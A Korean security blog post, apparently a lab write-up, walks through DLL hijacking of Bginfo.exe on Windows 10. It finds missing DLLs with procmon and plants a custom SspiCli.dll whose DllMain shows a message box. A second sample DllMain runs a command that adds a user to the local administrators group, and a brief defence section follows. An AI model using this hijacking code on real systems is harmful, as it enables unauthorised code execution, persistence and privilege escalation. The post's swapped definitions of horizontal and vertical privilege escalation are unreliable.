본문 바로가기

System/TTPs

DLL Hijacking 실습 (1)

DLL Hijacking 이란?

https://so106037.tistory.com/357

 

2. DLL Hijacking

출처: MITRE ATT&CK DLL Hijacking Tactics: 지속(Persistence), 권한 상승(Privilege Escalation), 방어 회피(Defense Evasion) Mitigations: 감사(Audit), 실행 방지(Execution Prevention) 라이브러리란? - 코드 내 반복되는 기능을 매

so106037.tistory.com

 

 

 

해당 실습은 ⑤ 응용프로그램의 디렉터리 대상으로 진행한다.

 

옵션 미사용 + Known dll file 지정하지 않았다면,

응용프로그램이 존재하는 디렉터리가 첫번째 우선순위이다.

그렇기에 하이재킹을 쉽게 실습할 수 있다.

 


 

DLL hijacking 실습 (1)

실습환경: windows 10 21H2

실습대상: Bginfo.exe

실습도구: procmon, dll export viewer

참고: 링크

 

 

 

1. DLL이 누락된 프로세스 찾기

일반적으로 procmon을 이용해서 찾을 수 있다.

 

프로세스모니터(Process Monitor)

프로세스 분석 및 디버깅을 위해 registry, file, process/thread, n/w 등을 실시간으로 캡처하는 프로그램.

필터링 기능을 이용하여 Bginfo.exe 프로세스만 출력되도록 할 것.

 

64a는 x64 알파버전을 의미함

 

[필터링 옵션]

- 프로세스 이름: Bginfo.exe

- result로 NAME NOT FOUND가 나오는 것.

- Path에 dll이 포함된 것

 

※ NAME NOT FOUND
dll을 찾을 수 없어 검색 우선순위 순서에 따라 디렉터리를 바꿔가며 찾는 것.

 
 
많은 dll을 확인할 수 있다. Ex. wkscli.dll
 

2. 폴더 권한 확인

 

3. dll hijacking 

① 메시지 박스를 띄우는 코드 작성

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        MessageBox(
            NULL,
            "IT'S MINE!",
            " DLL HIJACKING ",
            MB_OK
        );
        break;
    case DLL_PROCESS_DETACH:
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    }
    return TRUE;
}
 

② gcc 통해서 컴파일

 

③ 파일 이름 변경: evildll.dll ▶ SspiCli.dll

 

④ 후 Bginfo64.exe 실행

 

- Bginfo64.exe와 임의로 제작한 SspiCli.dll이 같은 폴더 내에 존재.

- 그럼 우선순위에 따라 같은 폴더 안부터 검색함 (Search Order) → SspiCli.dll 발견

- 작성한 악성 DLL이 실행됨

 

 

[추가] calc.exe 실습

 


+)

방어

- 설치된 모든 소프트웨어가 안전한 디렉터리에 들어가도록 하자.

C:\Program Files

C:\Program Files(x86)

 

- 관리자만이 "create" 'wirte" 권한을 가지기에, 공격자가 악의적인 DLL을 하이재킹하는 등의 행위를 막을 수 있다.

 

 

권한 상승(Privilege escalation)

DLL Hijacking을 통해서 임의 코드 실행 뿐만아니라 지속성, 권한 상승도 가능하다.

 

지속(Persistence): 공격 기반을 유지하고 시스템에 지속적으로 접근하기 위한 행동

권한 상승(Privilege escalation): 공격자가 시스템이나 네트워크에서 높은 권한을 얻기 위한 행위

 

DLL이 누락된 권한(horizontal/lateral movement) 또한 실행할 프로세스를 찾게 된다.

※DLL을 검색하는 폴더 대한 write 권한이 필요함

 

(horizontal) 수직 권한 확대
낮은 권한의 사용자가 응용 프로그램이 더 높은 권한의 사용자나 응용프로그램을 위한 자원이나 함수에 접근하는 것

(lateral) 수평 권한 확대
일반 사용자가 다른 일반 사용자를 위한 자원이나 함수에 접근

 

[권한 상승 예제]

// 대충 이런느낌
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call)  {
    case DLL_PROCESS_ATTACH:
      system("cmd.exe /k net localgroup administrators user /add");
      break;
    case DLL_PROCESS_DETACH:
      break;
    case DLL_THREAD_ATTACH:
      break;
    case DLL_THREAD_DETACH:
      break;
    }
    return TRUE;
}

 

 

실습 (1) 의 한계

· 경우에 따라 컴파일하는 DLL에서 여러 함수를 exported 해야할 수 있음.
→ 타겟 프로세스가 import하는.. exported function
· 내가 커스텀한 dll에 해당 함수가 존재하지 않으면, DLL Hijacking 등의 익스플로잇이 불가능하다.
· 이러한 경우, 대다수의 실행파일이 커스텀한 dll을 로드하지 않기 때문에.. 커스텀한 dll을 컴파일하는 것이 생각보다 어렵다.

 

※ DLL export viewer 등의 도구를 사용하여 정상 dll의 모든 exported 함수 확인이 가능함.
▶ 해당 DLL과 동일한 형식으로 커스텀하면 정상적으로 로드될 가능성 최대화

'System > TTPs' 카테고리의 다른 글

DLL Hijacking 실습 (4) - 리버스 쉘  (0) 2023.03.30
DLL Hijacking 실습 (3)  (0) 2023.03.30
2. DLL Hijacking  (0) 2023.03.29
1. Process Hollowing이란?  (0) 2023.03.29
UAC bypass 실습하다가 컴날림  (1) 2022.07.15